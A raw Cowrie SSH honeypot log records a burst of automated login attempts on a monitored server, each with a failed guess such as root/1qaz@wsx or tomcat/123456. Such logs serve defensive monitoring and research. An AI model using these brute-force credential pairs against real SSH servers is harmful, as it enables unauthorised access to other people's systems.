{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:40.292986Z","src_ip":"192.109.200.237","session":"d1219ebf3f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:40.541876Z","src_ip":"192.109.200.237","session":"d1219ebf3f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:41.628019Z","src_ip":"192.109.200.237","session":"d1219ebf3f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40020,"dst_ip":"159.203.135.109","dst_port":22,"session":"57b3974506a2","protocol":"ssh","message":"New connection: 192.109.200.237:40020 (159.203.135.109:22) [session: 57b3974506a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:43.247748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:43.256344Z","src_ip":"192.109.200.237","session":"57b3974506a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:43.339038Z","src_ip":"192.109.200.237","session":"57b3974506a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:43.584670Z","src_ip":"192.109.200.237","session":"57b3974506a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:44.670394Z","src_ip":"192.109.200.237","session":"57b3974506a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40046,"dst_ip":"159.203.135.109","dst_port":22,"session":"923a4e08106b","protocol":"ssh","message":"New connection: 192.109.200.237:40046 (159.203.135.109:22) [session: 923a4e08106b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:46.281719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:46.286658Z","src_ip":"192.109.200.237","session":"923a4e08106b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:46.393077Z","src_ip":"192.109.200.237","session":"923a4e08106b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:46.716797Z","src_ip":"192.109.200.237","session":"923a4e08106b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:47.802330Z","src_ip":"192.109.200.237","session":"923a4e08106b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40054,"dst_ip":"159.203.135.109","dst_port":22,"session":"a92f10e36e29","protocol":"ssh","message":"New connection: 192.109.200.237:40054 (159.203.135.109:22) [session: a92f10e36e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:49.404818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:49.413100Z","src_ip":"192.109.200.237","session":"a92f10e36e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:49.495581Z","src_ip":"192.109.200.237","session":"a92f10e36e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:49.741915Z","src_ip":"192.109.200.237","session":"a92f10e36e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:50.827078Z","src_ip":"192.109.200.237","session":"a92f10e36e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41294,"dst_ip":"159.203.135.109","dst_port":22,"session":"570ce15a703e","protocol":"ssh","message":"New connection: 80.94.92.184:41294 (159.203.135.109:22) [session: 570ce15a703e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:51.188948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:51.193429Z","src_ip":"80.94.92.184","session":"570ce15a703e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:51.302126Z","src_ip":"80.94.92.184","session":"570ce15a703e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456.cn","message":"login attempt [solv/123456.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:51.846699Z","src_ip":"80.94.92.184","session":"570ce15a703e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60128,"dst_ip":"159.203.135.109","dst_port":22,"session":"c01cf0b6f624","protocol":"ssh","message":"New connection: 192.109.200.237:60128 (159.203.135.109:22) [session: c01cf0b6f624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:52.442917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:52.449514Z","src_ip":"192.109.200.237","session":"c01cf0b6f624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:52.530831Z","src_ip":"192.109.200.237","session":"c01cf0b6f624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:52.775630Z","src_ip":"192.109.200.237","session":"c01cf0b6f624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:52.977373Z","src_ip":"80.94.92.184","session":"570ce15a703e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:53.860678Z","src_ip":"192.109.200.237","session":"c01cf0b6f624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60134,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e58dbb52ef6","protocol":"ssh","message":"New connection: 192.109.200.237:60134 (159.203.135.109:22) [session: 5e58dbb52ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:55.575730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:55.580471Z","src_ip":"192.109.200.237","session":"5e58dbb52ef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:55.662334Z","src_ip":"192.109.200.237","session":"5e58dbb52ef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:55.909043Z","src_ip":"192.109.200.237","session":"5e58dbb52ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:56.994383Z","src_ip":"192.109.200.237","session":"5e58dbb52ef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":50658,"dst_ip":"159.203.135.109","dst_port":22,"session":"2107f27c895b","protocol":"ssh","message":"New connection: 103.183.114.55:50658 (159.203.135.109:22) [session: 2107f27c895b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:58.731922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:58.739152Z","src_ip":"103.183.114.55","session":"2107f27c895b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:58.964699Z","src_ip":"103.183.114.55","session":"2107f27c895b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zalupa","message":"login attempt [root/zalupa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:59.642268Z","src_ip":"103.183.114.55","session":"2107f27c895b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60148,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b546fa9552f","protocol":"ssh","message":"New connection: 192.109.200.237:60148 (159.203.135.109:22) [session: 5b546fa9552f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:59.695289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:59.699731Z","src_ip":"192.109.200.237","session":"5b546fa9552f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:59.781573Z","src_ip":"192.109.200.237","session":"5b546fa9552f","protocol":"ssh"}
